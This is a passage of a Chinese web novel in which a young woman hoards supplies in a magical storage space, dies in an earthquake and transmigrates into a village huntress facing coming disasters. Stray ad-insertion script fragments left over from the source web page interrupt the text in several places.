“你就安排人给我组装好货架,然后再额外送我二十套一米五长,两米高的货架如何?我们都退一步吧。” 张经理闻言想了想,这些东西加起来差不多就是一万左右, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 不算什么大钱,可以答应。 “好的,许女士,我们这边随时可以发货,您那边有其他安排吗?” 听着张经理这么快就答应了,许岁安当时就知道自己还是太年轻,要的少了。 “不着急,我还有点事,今天星期二,这样,我下周三可以收货,你那边看着时间发货吧。” “仓库地点我一会儿手机发给你。” 眼看许岁安就要挂电话了,张经理语气开始着急了,“等等,许女士,这个货架需要先支付百分之四十的定金。” “嗯,你一会儿把银行卡号发给我吧。” 转完定金,许岁安颇为头痛的闭了闭眼睛,仰靠在椅背上。钱钱钱,哪里都要花钱,现在只希望房子那边可以快点卖出去,让她回点资金。 第二天一早,伴随着闹铃响起,许岁安睁开眼盯着天花板看了几分钟,脑袋里空空的什么都没想,在床上发了会儿呆。等到第二个闹钟响起她才麻利起身,开车绕着昨天订餐的地点转起圈来。 她租的是厢式小货车,后面全封闭,外面看不见里面装的什么,也方便她到时候随机收货。 由于约定好的店面有点多,时间又相对集中,许岁安一上午都在忙忙碌碌装货收货。等到下午她的时间稍微充裕点了,有思考空间了,诶,她忽然灵光一现,既然都准备好要雇厨师做饭了,干嘛不直接就在这里雇呢,而且这里的物价还相对便宜一点。 想到就去做,许岁安马不停蹄的跑去中介公司租了两户农家小院,一家用来做中式餐食,像各种炖品、各种粥等,一家用来做西式餐食,像各种炸物、各种披萨等。 只雇佣一个月,按正常价格肯定是很难找到合适的厨师的,许岁安要的急,便以市场价三倍的价格在人才市场发招聘信息。发完这个,她又琢磨着做饭肯定得有东西装啊,于是赶忙去批发市场买了一大批一次性餐具。 又过了两天,有几个厨师过来应聘,许岁安尝了尝他们的手艺,留下两个厨师,又问剩下的人里有没有人愿意留下了做帮厨的,开双倍工资,这样一来,一边两个人,工作效率也会提升上来。 许岁安让两家厨师按照一天五十人的量去准备,只做晚上那一顿,他们做好就打包装箱,然后就可以下班了,东西会有其他人去拿。 后面半个月许岁安没再去批发市场了,她准备把饭馆这些店的货收完再去,下午给自己一会儿的休息时间。 等许岁安收完饭馆这一批货,她开始转道去批发市场购买大批量的货物。 水果蔬菜都按箱购买,这些东西批发价还是挺便宜的,就各来一百箱,各种肉类海鲜也各来二百斤,大米粮油之类的,许岁安想了想还是按照一个人一辈子需要的数量多买点。 这些东西都是提前订好,许岁安后面两天就在仓库守着,等商家把东西送过来。 至于冬天的应季水果种类较少的问题,许岁安也是没办法了,只能等之后看情况,如果可以,她明年会在其他季节再过来买几次。 5. 第五章 收完在粮食批发市场买的东西后,许岁安终于觉得自己手上也算有点东西了,心里安心不少,精神上也放松了一些。于是她决定明天短暂的给自己放一天假,就只需要下午去农家乐那里收一趟货,其他时间就在酒店躺一天,这段时间天天跑来跑去的,真的把她累惨了。 晚上临睡前,许岁安想起明天的美好生活,谨慎的把手机上设置的闹钟全部关掉,明天、明天她一定要睡个懒觉。 早上七点,虽然闹钟没响,但许岁安还是准时的睁开了眼睛。 她迷迷糊糊的就开始穿衣服准备下床,可穿到一半,许岁安猛然想起她今天放假啊,起来干什么。于是,脱衣、闭眼、睡觉一气而成。 等许岁安再次醒来已经十一点多了,快到吃午饭的时间了。虽然酒店附近就有饭店,但现在许岁安是一步也不想多走,于是她拿起手机一阵划拉,订好了今天的外卖。 外卖送过来需要四五十分钟,这会儿许岁安睡够了,也不打算睡回笼觉,就准备看会儿小说打发打发时间。因为空间的事,她现在只想看和空间有关的末日小说。 在小说网页划了一会儿,没找到合适的,许岁安想了想,点进搜索框,打下‘天灾’、‘女强’两个关键词进行搜索,然后就一下子出来了很多相关小说,排名最高的那本小说名叫《天灾:重生后我携夫郎带全村老少去逃荒》,名字还挺有意思的,看的人也挺多,评论也都是好的,许岁安决定今天就看这一本。 小说开篇写女主是小溪村村长的女儿,家里有一位童养夫,她们到了年纪就成亲了,如今孩子都几岁了。 女主作为家中独女,从小是受尽宠爱。女主母亲不想女主再过面朝黄土背朝天的日子,于是压着女主去读书,家里的农活也不用她干。有人伺候又不用干活的生活养成了女主混不吝的性子,说是读书女主也没有努力读,经常在村里晃来晃去,要不就是跟人去捉鱼打猎。 直到这一年寒冬降临,女主一家人冻得瑟瑟发抖,女主才感到后悔,后悔自己家没有早做准备,也幸好冬天农家里都会准备好一摞一摞的柴火,她们这个冬天才不至于太难熬。 眼看着天气越来越冷,女主迫不得已和她娘上山砍树,没想到去了才发现,山脚下树木早就被人砍光了,她们必须要继续往上走才有可以砍的树。 等到女主她们好不容易砍树回来,女主的孩子却染上了风寒。 女主跑去问村里的村医,结果村医告诉女主她这里已经没药了。女主无奈只好自己独自前往县里求药,当女主带着药回来时,女主的孩子已经死亡。女主经历这件事后一下子成长很多,后面也变了性子,对于物资都会积极主动的去弄。 极寒过去就是洪涝,女主的爹此时身体已经非常不好,最终在洪涝时期死去,女主的娘从此也变得更加沉默。 洪涝将村里的房子庄稼都泡坏了,等剩下的村民好不容易将村子重新建起,极热来临了。 村子里的井水越来越少,不知什么时候起,井里打上来的水竟然开始混着泥沙...... 女主知道不能继续在村子里呆下去了,她们要去寻找有水源的地方,不然村里的人都会渴死。 这个决定一开始没什么村民支持,可等再过几天,井里能打上来的水越来越少,也越来越浑浊,村民最后还是妥协了,无奈的随着女主前去南方逃难。 路上,女主的娘为了保护女主和他夫郎被流民活活打死,女主的夫郎也没有坚持多久,饥渴交加,死在逃亡路上。 家人全部死去,女主感觉独活也没有意思,于是就自杀了。 后面就是女主重生,有了空间,提前做好准备,带着村民对抗天灾,一起南下的故事。 不过到最后女主她们南下成功的人也没有剩多少了,女主一家全部活了下来,除此之外还有二十来个村民。她们在新的城市安顿下来,重新开始,在她们以为一起都要变好时,新的灾难似乎又来了。 这小说还有点长,许岁安当天没有全看完,是后面几天晚上她陆陆续续的看才全部看完的。 小说是常见的天灾类型小说,只是有两点比较特别。 一是小说背景是女尊社会,男子在新婚夜服下孕果后可生子;二是小说里有一个叫许岁安的炮灰,在南下路上死亡。 对,这个小说里的炮灰和自己同名,许岁安对此很无语。她又想到了自己以往看的小说里主角看完一本和自己同名的小说后,穿进小说的事情。而且一般这种情况下,读者还会打趣说让那人全文背诵。 背诵全文是不可能的,这小说都快百万字了,谁能全背下来啊。 不过许岁安保险起见,在看小说的那几天还是意思意思的背了小说里炮灰许岁安的人物关系,以及天灾的出现顺序,还有女主一家的名字。 在酒店躺平了一天后,第二天许岁安按计划去了日用百货的批发市场。 当她站到这批发市场的门口时,顿时觉得自己的写的购买清单不足了,应该还是许多小的物件或者其他什么东西自己没有考虑到。于是许岁安决定不管清单,直接逛批发市场算了,看见哪个东西有用就买哪个。 这一逛就收不住了,许岁安感觉她好像爱上了逛市场、砍价,然后买买买的感觉,真的好解压、好爽、好快乐啊!!! 如果不是还保持理智,许岁安会更加耐心、慢慢悠悠的逛完整个市场,但即使这样,许岁安在百货批发市场里花费的时间也有接近半个月了,主要是里面的东西实在是太多太杂了。 收完百货,离农家乐那边结束还有几天,许岁安趁着剩下的这几天开着厢式小货车满城跑,一个药店一个药店的去买药,几天下来药品和医疗器械买的也差不多了。当然有的药品和医疗器械她还打算在网上再买一波儿,毕竟如果全在网上买的话,未免显得有点过多。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 买完药品,许岁安去收农家乐最后一批吃食的时候,看着农家乐里的大铁锅,没来由的联想起自己买的锅炉、烤架等,似乎它们的燃料自己还没买。正好这边的仓库自己还没退租,就一起在这边买了吧。 许岁安一边下单一边庆幸,幸好她的学区房脱手的很快,就半个月三套学区房竟然全部都卖出去了,当时中介给她打电话的时候她都有点不敢相信。 当然这个消息对她来说无疑是非常及时的好消息,所以在h市购买物资的时候,她接完中介的电话,立马就抽了两天时间回去把房子过户了,手里顿时又多了一大笔可流动资金,不然她现在都要发愁钱的事情了。 相较于其他季节,冬季的煤炭价格偏高,所以许岁安其实都有点犹豫,要不要在这时候把需要的煤炭全部都给买了,如果在其他季节购买这些煤炭,说不定还能省下来十几万呢。 为这事许岁安躺床上纠结了一晚上,她想现在就把煤炭全给买了,收入空间,落袋为安,但同时又心疼那十几万块钱,这么多钱呢,可以再买多少东西啊。 后面许岁安转念一想,努力劝自己,看开点,要是到时候真的极寒降临,那时候煤炭价格会更高,而且可能有钱都买不到,到那时钱就成了废纸,那自己岂不是因小失大、自讨苦吃。 而且万一真的极寒降临,自己买了这些煤炭,到时就绝对会庆幸自己现在的明智,要是没买,哼哼,那可就肠子都悔青啦。 想开了以后,许岁安顿感时间紧迫,一定要尽快购买煤炭,越快越好,毕竟现在可是冬季啊! 决定好了以后,许岁安上网查了一下普通居民一般用的煤炭类型,以及一般家庭一个冬天大约需要消耗多少煤炭,大概算了算,心里对最少买多少煤炭有了数。不过她肯定不是买最少的,她要往多了买,翻倍买。 许岁安想办法联系了几个卖煤炭的老板,一番讨价还价后定好了大概的价格,她快快乐乐的购买了一大批煤炭。 许岁安买了30吨无烟煤、20吨烟煤、10吨蜂窝煤、2吨果木炭、2吨椰壳碳。除此之外,她又额外购买了五吨劈好的木头,用来当作备用燃料。 成吨成吨的煤炭装进空间后,许岁安关好仓库大门,坐在小货车上,长舒了一口气。 她往空间看去,这些天来收取的物资已经显得非常壮观,许岁安自觉这些东西如果只是自己一个人用的话,这辈子怎么也够用了,应该说还会多出许多。 准备开车前,许岁安拿出手机看了看最近的天气预报,这几天h市的气温又降了几度。她刷了刷相关新闻下的评论,看到h市的皮草市场很出名,价格比在其他地方便宜不少,琢磨着皮草保暖性还挺好的,来都来了,不如买上几件。 在皮草市场逛了几圈后,许岁安跟在一个大妈身后,买了5件同款的黑色长款貂皮大衣,这大衣摸上去手感非常舒适,一看就是好料子、很保暖。 6. 第六章 把h市的仓库和农家乐都退完租后,许岁安坐上了通往g市的飞机。g市是国内最出名的服装集散地,每年12月更是服装市场大量清仓的时候。 许岁安去的时候已经想好了,这次购买的服装以实用舒适为主,颜色也不能要太鲜艳的,尽量做到低调,不能招摇。 当然,如果去了之后真的有十分符合自己心意的衣服,也可以买上几件,反正她也不差这点钱。人生在世,活得就是一个自在随心,如今更是只剩她一个人了,她肯定要好好对待自己,让自己的喜好得到满足。 服装市场里许多老板买货都会百件千件的拿,许岁安就算买的多,一款衣服最多也就买个几十上百件,所以也没有人对她买这么多衣服有什么疑问。 至于鞋子,许岁安一双双试过去,看上的就同款买十双,她觉得买这么多已经足够了,一双鞋子一般都可以穿很长时间。 棉鞋垫、凝胶鞋垫、、运动鞋垫许岁安各买两千双,羊毛鞋垫、兔毛鞋垫各买三千双。 中筒棉袜买一万双,夏季薄款棉袜两千双,羊绒袜、羊毛袜各三千双、珊瑚绒袜子一千双。 帽子、手套也没落下,各种材质的都买上百来件。 四件套许岁安买了三百套,凉席几种规格款式的各来二十件。被子里许岁安偏爱棉花被,十六斤的、十斤的、六斤的、两斤的都各来三十床,羊毛被买了二十床,夏季空调被二十床,加厚毛毯五十床,这个到时候天冷了垫在床单上会很暖和。 临走的时候,许岁安路过一家卖布料的店,看了眼价格,发现这里的布料还挺便宜的,虽然自己不会自制衣服,但这价格确实让人心动。 想了想,许岁安还是进去挑了几款颜色素净的棉布,买了十卷,旁边的大块布料价格更低,许岁安又心动了,于是两米、五米、十米的大块布料各买了五十斤。怎么说呢,这么便宜的价格,让许岁安有种买到就是赚到的感觉,虽然她现在用不上,但许岁安相信在未来的某个时候她说不定就可以用到。 在g市折腾了一圈,差不多用了十来天,许岁安看着手机上的日历,有点恍惚。 她基本上天天都在忙忙碌碌的,时间对她来说都有点不够用,看了日历才发现,原来她已经离家这么久了,再有个八九天都到除夕了,她该回家了。 回家的路很熟悉,这些年来,她外出旅游、上学,坐飞机回来,然后回家,走的都是同一条路线,只是这一次再也不会有人专门过来给她接机了。 坐在网约车里,看着窗户外的景色被飞快地抛在身后,许岁安莫名的感觉有点惆怅。她还依稀记得从前的自己在回家的路上,心情是多么的兴奋,可现在,她是一点都高兴不起来了。 想着这些,许岁安深沉的叹了一口气。 回到家里,家中布置一切如常,沙发、电视都在原来的位置,明明是一模一样的布置,现在许岁安再看,不知为何,觉得有点冷清。 她沉默的回到了自己的房间,按部就班的去洗澡换睡衣。吹头发的时候,许岁安忽然想到,要是灾难真的来临,那么现在所有的平静,所有的岁月静好应该都会化为乌有吧,自己大概也不能像现在过的这么轻松了。 许岁安收好吹风机,打量了一下镜子里的自己,还不错,一眼小美女,她有些臭美的想到。 ‘唉,去报个班吧’,许岁安在心里说,她现在只是体力还不错,但力量一般,也不会舞刀弄枪什么的,要是真遇到什么事了,估计自己就歇菜了。报个武术班,学点有用的。 说起这个许岁安想起自己的防身武器应该再加点儿,她记得自己之前在h市囤的那些刀斧锯,还有高压电击器和几瓶辣椒水,也不知道到时候真的出事了这些东西能不能保护自己。 啊,对了,小说里主角不是可以用石头砸吗,她这个空间应该也可以,就是现在大石头不好弄,等什么时候她有空去山里一趟吧。 还有什么事自己没做呢?许岁安蹙眉思索。 吃的有了,穿的有了,用的有了,住的也有了,还有什么没做呢?外伤的简单处理肯定是要学的,她这段时间也看了不少相关视频,心里对这些也大概有个数,后面的医学科普视频她还要继续看。 如果以后的情况真的像小说里那么严峻,那自己估计也得当一个孤狼了,什么是都要自己做。 嗯,买一些相关的书籍吧,虽然现在什么都可以在网上查到,但万一以后断网停电了怎么办,纸质书更保险一点。她可以把工具科普类书籍每样买两本,一本做备用,再些小说什么的,到时候打发时间。 许岁安躺在床上,盯着天花板思考。在h市的时候,她找了几家大型商超,零食、饮料、水都买了一批。要不要再买些水呢,感觉水囤的好像不是很多,一个人特别渴的时候,一天可以喝好几升水呢。 行,许岁安说服了自己,那就再买一批水吧。 好像也没有其他什么缺的了,现在就是等她之前订的小木屋送到仓库去,以及继续选货网购。 第二天,许岁安开车去昨晚选好的武术馆试课,她最后选择的是学习散打,散打适合实战应用,可以在短期内快速提高自卫能力,很符合她现在的目标要求。 一场课下来,许岁安觉得效果还不错,教练也很有耐心,她选择的是一对一教学,每天上午都过来学散打,下午去做其他事情。 就这么过了几天,除夕到了,许岁安走在路上,看着周围的欢声笑语,默默地选择买好菜自己回家煮火锅,外面的节日气氛太浓烈了,不太适合她这个孤家寡人。 许岁安备好菜,倒好饮料,点起火,支起平板,找了一个喜剧节目,吃了起来。 这节目或许是真的很有意思吧,里面总会时不时传出阵阵笑声来,镜头给到观众,观众也是一副开心至极的模样。 ‘‘真的有那么好笑吗?’’许岁安想,她面无表情的吃着火锅,看着节目。 ‘可能是我的笑点和她们不一样吧。’许岁安做出总结。 不知何时,她的脸上已经悄无声息的流下了两行清泪。 这眼泪或许许岁安自己也没有察觉,又或许她已经察觉到了,反正,她没有 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 擦去自己的眼泪,就这么保持现状,一边面无表情的流着泪,一边看着平板上众人大笑的节目吃着饭。 在这一刻,许岁安真的觉得自己很孤独。想了想,她又觉得自己还有点可怜,在其他人吃团年饭的时候,自己在这儿孤零零的一个人吃火锅,还眼光那么差的挑到了对于自己来说一点儿都不有趣好笑的喜剧节目。 网上不是都给一个人做什么最孤独排过级嘛,一个人吃火锅排第五级。那像她这样在团年夜一个人吃火锅应该可以排到第十级吧。也是顶级独孤上了,许岁安扯了扯嘴角,自嘲一笑。 生活总要继续,春节后,许岁安照常去教练那里学习散打。她已经想好了,今年先休学一年,如果没发生什么事情的话,明年再继续上学,也不耽误什么,左右她现在至少不必忧愁金钱,不必忧愁生活。 “喂,安安啊,我是张妈,我儿媳妇生孩子了,今年可能不能再来你那边工作了。”张妈说着,有点不好意思,“你看你还需要保姆不?如果需要,我这边可以给你推荐几个靠谱的人过去。” 许岁安沉默几秒,“不用了,张妈,我一个人住也挺好的,家里再买个扫地机器人就行。” 张妈那边也安静下来,她像是不知道该说些什么,她这样突然的离职也不知道会不会对安安造成伤害,想着这些,张妈心里有点愧疚。 “说起来,我还没恭喜你呢,张妈,祝贺你当奶奶了!”说完,许岁安顿了顿,“你的过年礼和红包我还没给你呢。” “张妈,要不你发个地址过来,我把过年礼邮寄给你,红包我等下手机转给你。” 张妈在手机那头眼泪汪汪,她听着这些话,心里更愧疚了。 “好孩子,不用给我这些,那些钱你自己留着用吧,以后就是一个人了,花钱可不能这么大手大脚。” “而且,之前那两个月你不在,我回了老家待着,这不就相当于我白拿了你两个月工资吗?” “你不要再转钱给我了,我等下把这两个月的工资转给你。记得收啊,安安。” 听着这些话,许岁安的心里涌上来一股暖流,“张妈,本来就是我说给你放假的,这两个月的工资是你应得的,不用转回来。” 想了想,许岁安开口劝道:“你不要红包也可以,过年礼总得收吧,我们家之前每年都会给你发过年礼的,总不能最后一年在我这儿停了吧。” “就当是成全最后的善始善终吧,张妈,让我替我们家最后再给你一回过年礼。” 张妈听着这话也不好再拒绝,沉默几秒,最后只能无奈道谢,答应了许岁安的劝说。 许岁安收到张妈发过来的地址,看着在这一条消息上面的转款信息,无奈笑笑,点了退回。 她在网上下单了足够张妈一家一年食用的米面粮油,还有两箱水果和十罐婴幼儿奶粉给张妈送过去。 这是许岁安考虑过后的购买方案,一年的米面粮油已经足够多了,再多,恐怕张妈也不会接受。 这也算是对张妈这么多年用心照顾她们家的感谢吧,希望对张妈有用。 7. 第七章 时光匆匆而逝,转眼间,又过了半年。 在这半年期间,许岁安挂着的另外两套房子也售卖出去了。她拿着这些钱买了一些金条银条和一些金银首饰,剩下的钱则留下来备用。 一切都很正常,正常的和许岁安没有得到空间之前一样。太阳照常升起,人们照常生活,没有天灾,没有丧尸。 慢慢的,许岁安的心情也逐渐放松起来。她想,或许只是自己看小说看的太多了,导致现在尽想些有的没的。 那是和以往没什么差别的一天,许岁安和往常一样,早上去教练那边练习散打,中午回来买菜做饭,吃完饭看会儿科普视频就可以准备睡午觉了。 本来应该是这样的,毕竟今天看着好像也没什么特别的呀,可意外往往来的就是这么突然。 先是水杯里的水轻轻晃了两下,树叶轻轻动了动,然后在所有人都没有反应过来的时候,剧烈的地震猛然袭来。 许岁安反应还算快,她察觉到晃动没有丝毫犹豫,立马边戴安全头盔边往门外空地跑。 她的安全头盔也没白戴,正好帮她挡下了被地震震下来的建筑碎片。 跑到空地上,虽然地震没停,站着稍微有点困难,但许岁安以为她这样应该也算安全了。 也许因为是在白天,空地上的大多数人身上穿戴的还算整齐。但也有那么几个特殊的,有只穿内裤出来的,有披着床单出来的,还有头上顶着一头泡沫裹着浴巾出来的。 这些人都是刚刚才从地震里死里逃生出来的,她们虽然逃出来了,心里却还是惶惶不安,按理说在空地上应该是安全的,但持续不断的晃动让众人的内心蒙上了一层阴霾。 “哎呀,我都说老天爷要惩罚咱们了,你还不信。今天我去跳广场舞的时候,那奇怪的哦,天上的鸟成群的飞,把天都快遮完了。”一个老太太中气十足的说。 她儿子像是有点不好意思,顶着周围人看过来的视线,“妈,你别说这种话,什么老天的惩罚,这就是普通的地震。” 许岁安也朝老太太那边看过去,心里纳闷,这事儿自己怎么一点儿都不知道。她拿出手机想找找相关消息,结果一看,手机没信号了。 “鸟群离奇迁徙是不是地震来临前的征兆啊?”有个年轻女孩搭话,她看着年龄不大,估计还在上高中或者刚上大学 “今天我家小白一直都躁动不安,老是在叫,还不断咬着我的裤脚想把我往屋外拽。” “我以为小白今天特别想待在外面玩呢,就一直陪着它在外面跑,没想到因此还躲过了地震。对了,小白是我家的狗狗,平常特别乖的。” 有个中年男人听见女孩的话,连忙符合,“对,我家狗今天也是有点不对劲,一直在叫,还老想往外面跑。我今天工作又多,所以也没多想,就把狗关在笼子里了。” 男人看着紧紧贴在女孩身上的黑白边牧,烦闷的叹气,“没想到倒是把它害了。” 听着二人的对话,周围有养宠物的,开始七嘴八舌的讨论了起来。 许岁安没养宠物,只能无奈的听着众人的讨论。 “我家猫也是,这两天总是紧张兮兮的,老往床下钻。” “我养的兔子也很奇怪,这两天喂它吃饭它都不吃了。” “我养的鱼也一样,这两天不知怎么了,一个两个的老往鱼缸外面跳,有的我救不过来,死了不少。” ...... “这些都是地震来临前的征兆。”有个戴着黑色边框眼镜,年龄看上去三十多岁的女人出来说话了。 “我国因为之前没有发生过大型地震,所以对地震方面的科普不是很普及,其实这些内容在课本上讲过的。” “你是?”有人问。 女人拿出自己的教师证,“我是一中的地理老师。” 明白了女人的身份,也知道她说的是正确的,众人又开始讨论起来。 “那是什么?”有个年轻人眼尖,看着远处底下的路情况好像有点不对,于是出声询问。 可惜,这个年轻人没有等到答案,在他说完的下一秒或者几秒,在所有人都还没有反应过来的时候,一条巨大而深黑的口子迅速朝她们这个方向蔓延过来。 在这个空地上的所有人,不分男女老少,无论健康残疾,没有一个人逃出去,全部坠落无尽深渊。 *** “嘶——” 许岁安头痛欲裂的睁开眼,她看着眼前的木制房顶,转头又看到许多古代的装修风格,心里有了不好的预感。 她记忆的最后是大地忽然裂开,所有人反应不及,直接全部都掉下去了。 许岁安也一样没有逃过,不过地裂合缝的速度很快,她死亡时没有感受到太多痛苦就没有知觉了。 ‘我死了吗?’许岁安反应了一下,然后突然感觉很悲愤,她做了那么多准备,那么的想要活下去,结果就那样死掉了,连挣扎都挣扎不了。 就这么自怨自艾的一会儿,许岁安忽然想到了什么,她慌乱的去查看空间。 还好,还好,爸爸妈妈的东西都还好好放在空间里面,看着爸爸妈妈的照片,许岁安暗下决心,这一次她一定要好好活下去,完成爸爸妈妈的嘱托。 想开了以后,许岁安闭眼,想要养好精神,不知为什么她现在不光头痛,身体也痛得很。 许岁安竭力让自己放松,死亡的冲击让她很疲惫,不知为什么她现在很想睡觉。 一段一段的记忆不断在许岁安脑袋里回想,等她再次睁眼时,已经明白了如今的情况。 原主也叫许岁安,她继承了她母亲的手艺,在做猎户。 这一次受伤,是她和其他人上山摘果子的时候从树上掉下来了,虽然她摔得有点重,但也不至于死亡。 原主死亡的原因是她摔倒昏迷后,在梦里得知了未来会发生的事情,知道了她们一家在未来都会死得很惨。 正当原主正不知所措时,忽然感应到了许岁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 安,知道她有空间,于是自愿把身体让出,只求许岁安可以好好照顾她的母父,带着她的母父活下去。 梦里的记忆很多很长,许岁安看着这些,感觉自己好像跟着原主又重新活了一遍。 她看着原主的父亲温柔的摸原主的头,好像自己也被长辈这样教导了;她看着原主的母亲教原主打猎布置陷阱,好像自己也跟着学会了。 最后她看着未来的原主被迫喝着母亲喂过来的血,吃着父亲宁愿饿死也要留给原主的食物,那种痛苦悲伤她好像也能感受到。 难怪,难怪原主宁愿死,也要给她的母亲父亲搏一个有更大存活可能的未来。 “安安、安安......” 昏昏沉沉中好像有人在叫许岁安,许岁安被这声音吵醒,在暖黄的光线里,恍惚间觉得眼前满是忧愁的男人很是熟悉。 “爹?”许岁安迟疑的喊道。 “诶”,男人应了一声。 “安安,身上的伤是不是特别痛啊,你脸上哭的全是眼泪,要不我让你娘去大夫那儿专门再买个止痛的药方回来。” “说什么呢?” 一个身材高挑的女人边问边搬着一张矮腿桌子进来,“这可是你爹当初生你时坐月子用的桌子,这么多年放在柴房一直没用,如今倒是给你这个不争气的用了。” “妻主,你说什么呢,安安也是为了给我们吃才去摘果子的,都是孩子的一片心意。” “我说的不对?”女人反问,“天天跟着我去打猎,果树也没少爬,结果今天带着明珠去摘果子,两人都从树上摔下来了。” “幸好明珠没什么大事,村长也通情达理,不然咱俩还有的赔呢。” 男人闻言无奈笑笑,“明珠也是,村长天天压着她读书她不读,整天想着到处玩儿。” “安安,下回明珠再过来央求你,你可不能再心软答应了。不然哪天村长说不定还要专门过来找你谈谈,咱可不能耽误了明珠读书的事。” 许岁安有气无力的答应了,“我知道了,爹,这回还是明珠那个臭丫头没站稳结果把我给拽下去的。” 许岁安她娘许春花闻言就是两眼一瞪,“她爹的,徐明珠这个臭丫头怎么还害人呢。安安好心带着她,结果她竟然害咱女儿,我这就找她说理去。” 周林连忙拉住妻主许春花,“妻主,你冷静点儿,这回徐明珠也摔下来了,我们去了也说不清,而且徐明珠她娘还是村长。” “村长怎么了?村长女儿高人一等?可以随便害人?不行我就去找县太奶主持主持公道。”许春花怒气上头。 “娘,算了吧。”许岁安无奈劝道。 “当时就我和徐明珠两个人,她要是不认,这事儿也不好说,我们以后还得在村子里待呢,最好还是不要得罪村长。” “我也就用这事儿长个教训,以后也有理由拒绝徐明珠了。” “行呗,你们父女两都是好人,就我坏。”许春花愤愤不平。 8. 第八章 许岁安看着许春花因自己生气的样子,十分理解许春花的心情。有的时候这种事当事人自己感觉还好,但身边的人却会为此生气,这也是爱的一种表现。 “娘,你知道我不是那个意思,而且我摔的不重,养段时间就好了。”许岁安向许春花解释。 “这次徐明珠不是也摔下来了吗,她应该摔得比我重,所以这次就算了吧,娘你也不要再生气了嘛。” 许岁安她爹周林也跟着劝,“是啊,妻主,都是孩子,这次也是意外。” 许春花又怎么不知道这事不好说呢,她只是气自家孩子傻乎乎的,别人说几句好话就心软答应了她的请求,总是学不会拒绝。 她真的很怕等以后她和孩她爹走了,安安这个呆子会被人骗,被人欺负。 “安安,你说你吃到教训了,吃到什么教训了?说说看。” “娘听听你这回是真懂还是假懂。” 许岁安犹豫了,“我以后不和徐明珠玩了?” “还有呢?为什么不和她玩了?”许春花心平气和的问。 “呃——”,许岁安回想了一下记忆里和徐明珠的相处过程。 “徐明珠她,她好像有点爱占我便宜。嗯...这么说也不太对,但山上的陷阱明明我自己就可以布置好,徐明珠每次都要强行凑过来帮我一下,下回再上山,陷阱里的猎物就要分她一半。” “这种行为不知道怎么说,她虽然确实帮我摆弄了几下陷阱,但我觉得她的那点帮助也可以没有。” “但她这么一弄,我不分她猎物好像就不太好了......” 许春花听着许岁安的话,有点欣慰,想着这一回摔倒是让自家女儿摔聪明了一点。 “你能想到这里还算不错,但就像你爹说的那样,村长一直想让她女儿读书,你却带着她女儿上山,在村长眼里你就是带坏她女儿的那个。” “我估摸着,要是没有徐明珠带回去的猎物,你早就被村长找上门了。” 许岁安下意识的想要反驳,“那不是我要带的,是徐明珠自己非要跟着去。” 许春花听着许岁安这话,嗤笑一声,“在村长那里,你觉得这有差别吗?其他猎户家都拒绝了,为什么你不拒绝呢?” 许岁安看着她娘的眼睛,动了动唇,最终没有说什么反驳的话。 “唉......”许春花叹了口气,她不想对许岁安说什么重话,自家女儿听话、孝顺、善良,这不是女儿的错,徐明珠可能有点自私任性,但本性也不算坏。 “安安啊,你都到了可以成亲的年纪了,有些事心里也该有杆秤。” “咱家为什么要去当猎户呢?猎户虽然挣得比种地多点儿,但危险性可比种地大多了,你看家里良田充足的,有哪个人会这么想不开呢?” 后面的话许春花不说许岁安也懂,自己家就三亩地,村长家却有三十亩地。 村长家的地完全可以养活她们家了,但自己家如果只靠种地,不去打猎,那是根本活不下去的。 “我明白,娘,从前是女儿不懂事,以后不会这样了。” 周林看着母女两说的差不多了,就让许岁安先吃饭,等许岁安吃完饭了,他再去厨房把药端过来。 “对了,妻主,要不你去大夫那儿再拿个止痛的方子吧。刚刚安安痛的满脸泪,现在瞧着倒是还行,但万一又痛了呢。” 许春花听后,下意识皱眉,“她这又没缺胳膊断腿的,就有点外伤加上脚扭了,能有多痛?” 周林听这话就不乐意了,“安安摔下来的时候,身上的擦伤都流血了,脑袋也流血了,怎么可能不痛!” “没说她不痛,这点儿痛她应该可以忍住。”许春花想着,打猎哪能不流血呢,安安之前不是也受过伤,按理说应该可以承受了啊。 许春花问许岁安,“你怎么说?要是实在痛的不行,我就去给你买那个止痛药。不过最好还是不用,听说止痛药越喝以后就越不管用,喝多了还会成为傻子。” 许岁安想都没想就拒绝了,开什么玩笑,中药那么苦,她还要再来一副,要是之后真的很痛,她空间里有止痛药,一片就好。 “不用了,我现在感觉好多了。”许岁安说。 周林有些不信,“安安,你可不要逞强,不然下回在再那么痛的话,买药也要点儿时间呢。” “没逞强,爹,我现在真的感觉好多了。”许岁安是真的感觉现在的疼痛比她接收记忆前轻多了,她可以忍。 周林将信将疑,“行吧,那我去把药端过来,你喝了就休息,大夫说你这段时间都要静养。” *** 许岁安等她娘爹离开后,一个人在躺在床上静静思考,她回想起在记忆里看到的关于未来的场景。 这应该算是天灾末日吧,死了那么多的人,原主也没逃过,死在路上了。 想着之前囤在空间的物资,许岁安自嘲一笑。 囤物资是为了活命,如今看来倒也没白囤,这物资不仅帮她获得了第二次生命,在将要到来的天灾里也会为她提供诸多帮助。 现在空间里的物资需要供养的人有三个,吃喝方面倒是不用担心,她空间里的食物养三个人绰绰有余。或者说,就算再来三个人,空间里的食物也供得起。 就是其他方面的东西拿出来用需要筛选一下了,太现代的肯定不行,要尽量贴合古代。 其实也不用太严格吧,许岁安转念一想,有些东西可以在只有她娘爹三个人在的时候使用,不传出去,不被其他人知道就好。 空间的事,后面肯定是要找一个合适的时机告诉她娘和她爹的,不要平白多出那么多东西也不好解释。 而且她还打算在这儿继续囤货,这儿的囤货方便后面逃亡时掩人耳目。还有空间里的米面蔬菜,在和娘爹坦白后就可以拿出来食用,改善改善生活。 想到空间里那么多好吃的,许岁安砸吧了一下嘴,嗯,感觉嘴巴里面苦苦的,于是从空间里拿出一颗水果硬糖含在嘴巴里,细细感受。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>不过话又说回来,原主也叫许岁安,这还挺巧的。 